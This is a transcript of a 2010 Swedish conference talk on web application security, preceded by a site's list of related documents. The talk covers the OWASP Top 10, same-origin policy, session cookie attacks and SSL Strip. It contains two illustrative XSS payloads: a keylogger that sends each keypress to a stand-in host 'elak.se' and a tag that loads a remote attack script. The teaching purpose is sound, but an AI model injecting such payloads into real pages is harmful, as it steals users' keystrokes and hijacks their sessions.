Säkerhet i applikationslagret och slaget om webben. John Wilander, Omegapoint, Rätt säkerhet, maj 2010



Relevanta dokument
Säkra webbapplikationer. John Wilander, Omegapoint, KTH maj 2010

Säkerhet. Säkerhet. Johan Leitet twitter.com/leitet facebook.com/leitet. Webbteknik II, 1DV449

Modul 6 Webbsäkerhet

Webbsäkerhet för IT-tekniker VT2014 Johan Leitet Nätverkssäkerhet, 1DV425 johan.leitet.se twitter.com/leitet facebook.

Swedish Association for Software Testing Inspect it AB

OWASP Topp De 10 allvarligaste riskerna i webbapplikationer OWASP East Sweden: Uppstartsmöte

Avancerade Webbteknologier 2. AD11g Göteborg 2012 Säkerhet

E11 "Protection" Föreläsning 11, HT2014 Säkerhet, tillgänglighet. Johan Leitet. Kurs: 1dv403 Webbteknik I

Webbsäkerhet och vanliga brister - kunskapsläget bland utvecklare.

SNITS-Lunch. Säkerhet & webb

Lagring i molnet. Per Hellqvist Senior Security Specialist Symantec Nordic AB

Säkerhet Malware och WWW Hashfunktioner Referenser. Säkerhet. Daniel Bosk

Säkerhet. Säker kommunikation - Nivå. Secure . Alice wants to send secret message, m, to Bob.

Webbsäkerhet. för IT-tekniker VT2013. Johan Leitet johan.leitet.se

SSL/TLS-protokollet och

Bokmärket En säker webbapplikation. Maria Westin. Projektrapport, DT144G Webbapplikationssäkerhet, 7,5 poäng

E12 "Evil is going on"

Innehåll. Dokumentet gäller från och med version

TDDD80. Mobila och sociala applikationer Introduktion HTTP,SaaS. Anders Fröberg Institutionen för Datavetenskap (IDA)

Kandidatexamen Säkerhetstestning av webbapplikationer och CMS plattformen EPiServer

Riktlinjer för informationssäkerhet

Webbservrar, severskript & webbproduktion

Webbprogrammering. Sahand Sadjadee

Systemkrav och tekniska förutsättningar

Essential Php Security Författare: Shiflett, Chris Antal sidor: 124 Förlag: O'Reilly

Datum: Version: Författare: Christina Danielsson Senast ändrad:

1ME323 Webbteknik 3 Lektion 6 API. Rune Körnefors. Medieteknik Rune Körnefors

TDP013. Webbprogrammering och interaktivitet. AJAX, CORS & jquery. Marcus Bendtsen Institutionen för Datavetenskap (IDA)

Compose Connect. Hosted Exchange

Tentamen etjänster och webbprogrammering

Att bygga VPN. Agenda. Kenneth Löfstrand, IP-Solutions AB. Olika VPN scenarios. IPsec LAN - LAN. IPsec host - host SSH

Systemkrav myschenker.se

Cipher Suites. Rekommendationer om transportkryptering i e-tjänster

ASP.NET MVC. Copyright Mahmud Al Hakim Innehåll

Juniper Unified Network Service för tjänsten SDC Web-Access. Installationsanvisning v 2.0.2

Moderna Jfokus, Stockholm Monday, February 4, 13

OBS! Det är av största vikt att innan konfiguration av modulen, genomfört de inställningar som presenteras med bilagorna till denna manual.

FANS Network Meeting. SAS Platform 25/10-18

Modul 8 Hantering av indata

Introduktion till datasäkerhet. Christian Ohlsson 1

Webbteknik II. Föreläsning 5. Restless farewell. John Häggerud, 2011

Modul 3 Föreläsningsinnehåll

"HTML5 och relaterade API:er"

SSL. Kristoffer Silverhav Robin Silverhav

Identity Management i ett nätverkssäkerhetsperspektiv. Martin Fredriksson

Webbtjänster med API er

F5 Exchange Elektronikcentrum i Svängsta Utbildning AB

Instruktion. Datum (12) Coverage Dokument id Rev Status? Godkänd. Tillhör objekt -

JavaScript. Innehåll. Historia. Document object model DHTML. Varför Javascript?

Föreläsningens innehåll. Säker kommunikation - Nivå. IPSec. IPSec - VPN. IPSec - Implementation. IPSec - Består av vad?

Datasäkerhet och integritet

Välkommen! SA S PSA S Im I puls s Mobilite t t e 8 1

Säkerhetsanalys av plugin-kod till publiceringsplattformen WordPress

ASP.NET Thomas Mejtoft

PHP. Dynamiska webbsidor

TEKNISK INFORMATION CENTURI 8. Kungsholmsgatan Stockholm Telefon

Remote Access Services Security Architecture Notes

Alla rättigheter till materialet reserverade Easec

F8 Webbteknologier 1. Dynamiska webbsidor

IP-baserade program. Telnet

Introduktion till integrering av Schenkers e-tjänster. Version 2.0

Installationsanvisningar

Säker informationshantering

Practical WLAN Security

Platsbesök. Systemkrav

JavaScript in SharePoint and not just for Apps. Wictor Wilén

Statistik från webbplatser

Kapitel 10 , 11 o 12: Nätdrift, Säkerhet

Systemkrav WinServ II Edition Release 2 (R2)

teknisk manual Direktbetalning handelsbanken.se/e-handel

Webbteknik. Innehåll. Historisk återblick Teknisk beskrivning Märkspråk Standardisering Trender. En kort introduktion

Jämförelse mellan tekniker för att lagra data i webbläsare -Kan webbapplikationer anpassas för att användas offline?

SSH-protokollet. Niels Möller

Daniel Akenine, Teknikchef, Microsoft Sverige

OWASP AppSec Research 2010 Conference

Riktlinje för säkerhetskrav vid upphandling av IT-stöd

Version Namn Datum Beskrivning 1.0 Förutsättningar Vitec Ekonomi 1.1 Marie Justering för krav på Windows Server

Kapitel 10, 11 o 12: Nätdrift, Säkerhet. Publika telenätet. Informationsöverföring. Jens A Andersson. Telenäten är digitala.

Icke funktionella krav

Christer Scheja TAC AB

Dataskyddsförklaring

WWW. Exempel på klientsidan. Överföring av en html-fil. Snyggare variant. Verkligt format. Meddelandeformat för begäran HTTP

BTH Studentkontohantering API Management

Ajax TruClient. Erfarenheter, tips och trix från Swedbank IT. Christian Gerdes Performance Engineer, LIGHTS IN LINE AB

Voice over IP / SIP. Switching Costs SIP. Motivation for VoIP. Internet Telephony as PBX replacement. Internet Telephony Modes.

Biometria Violweb. Installation kundportalaccess - för IT-administratörer. Mars 2019

Konfigurering av inloggning via Active Directory

E13 "Behind the Wild"

Microsoft.NET Version Http Activation MapGuide Open source (installerad på en webbserver, tillgänglig utanför brandväggen) Web Deploy 3.

Virus och andra elakartade program

Design och implementation av ett distribuerat system med hög säkerhet

F8 Webbteknologier 2. PHP PHP: Hypertext Preprocessor

F8 Webbteknologier 2. EDA095 Nätverksprogrammering. Roger Henriksson Datavetenskap Lunds universitet

Säker programmering - Java

Spanning Tree Network Management Säkerhet. Spanning Tree. Spanning Tree Protocol, Varför? Jens A Andersson

EXAMENSARBETE. Android-applikation för hälsokontroll. Nicklas Pettersson. Högskoleingenjörsexamen Datateknik

Instruktion för integration mot CAS

Klient/server. Översikt. Lektion 1: Webbtekniker från Microsoft. Webbteknik från Microsoft. Klient/server. Designmönster. Utrullning.

Creo Customization. Lars Björs

Vitec Connect. Teknisk beskrivning REVIDERAT SENAST: VITEC. VITEC Affärsområde Mäklare

Transkript:

Säkerhet i applikationslagret och slaget om webben John Wilander, Omegapoint, Rätt säkerhet, maj 2010

John Wilander, konsult Omegapoint Forskar inom mjukvarusäkerhet Leder svenska OWASP Certifierad inom Javautveckling och Security Development Lifecycle OWASP En öppen, icke-kommersiell community för alla som utvecklar, förvaltar eller köper webbapplikationer med höga säkerhetskrav

IT-säkerhet Systemutveckling

IT-säkerhet Applikationssäkerhet Systemutveckling

Var på jorden är det viktigt att utveckla säker programkod?

Windows, Office

Cisco-routers

SAP

Applikationer!

2010 Rich Internet Applications

Applikationer utvecklas överallt

Hemsidor övergår i webbapplikationer

Webbapplikationer exponeras för Internet

Alla utvecklare måste förstå säkerhet

OWASP Top 10 Top web application security risks 2010

1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10.Unvalidated Redirects and Forwards

<script> document.onkeypress = function(e) { new Image().src = 'http://elak.se/log.php?k=' + String.fromCharCode(e.charCode) } </script>

<script src= http://elak.se/hack.js > </script>

1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References Läs 5. hela Cross-Site pdf:en Request på http://www.owasp.org/index.php/ Forgery (CSRF) 6. Security Category:OWASP_Top_Ten_Project Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10.Unvalidated Redirects and Forwards

Skyddsvärda fundament för säkra webbapplikationer

Same Origin Cookies Policy SSL

Same Origin Policy

banken.se aktieinfo.de

banken.se aktieinfo.de Köp

banken.se aktieinfo.de Köp

banken.se aktieinfo.de Köp

Same Origin Policy banken.se aktieinfo.de Köp

banken.se aktieinfo.de Köp

Same Origin Policy banken.se aktieinfo.de Köp

Kringå Same-Origin Policy Kommunicera server-side Använd JSONP JSON with Padding Sätt gemensam document.domain

banken.se aktieinfo.banken.se Köp

banken.se aktieinfo.banken.se Köp

banken.se aktieinfo.banken.se Skadligt skript

banken.se aktieinfo.banken.se

banken.se aktieinfo.de

Men vi ville ju integrera :(

Content Security Policy (förslag från Mozilla) banken.se aktieinfo.de Vitlista på källor för skript

Content Security Policy (förslag från Mozilla) banken.se aktieinfo.de Vitlista på källor för skript

Cookies

HTTP tillståndslöst GET http://www.sajt.se/ HTTP/1.1 HTTP/1.1 200 OK

HTTP tillståndslöst GET http://www.sajt.se/ HTTP/1.1 HTTP/1.1 200 OK

Att hålla en session Sessions-ID i URL www.sajt.se/ ;sessionid=1234 Sessions-ID i gömda formulärfält <INPUT TYPE= hidden NAME= sessionid VALUE= 1234 > Sessions-ID i kaka Set-Cookie: sessionid= 1234

HTTP + session GET http://www.sajt.se/ HTTP/1.1 HTTP/1.1 200 OK

Sessionsattacker Cookie replay (återanvända) Cookie poisoning (skapa eller manipulera) Cookie hijacking (stjäla) Session fixation (sätta kaka åt offret)

Sessionsskydd Secure (bara skicka krypterat) HTTPOnly (ej tillgänglig för skript) Inget hemmasnickrat

SSL

Var är hänglåset?

<div class="menu_login_container"><form method="post" action="https:// login.facebook.com/login.php?login_attempt=1" id="login_form">

<div class="menu_login_container"><form method="post" action="https:// login.facebook.com/login.php?login_attempt=1" id="login_form"> Samma källkod? JavaScript som sniffar?

Moxie s SSL Strip Avbryter SSL Gör om https till http Normal https till servern Agerar klient

SSL Strip & Tor-nätet

SSL Strip & Tor-nätet login.yahoo.com Gmail Hotmail PayPal 114 50 13 9 På 24 h

Antal som avbröt pga saknad kryptering: 0

Same Origin Cookies Policy SSL

Same Origin Content Policy Security Policy Cookies Äkta sessioner? SSL DNSSec?

john.wilander@omegapoint.se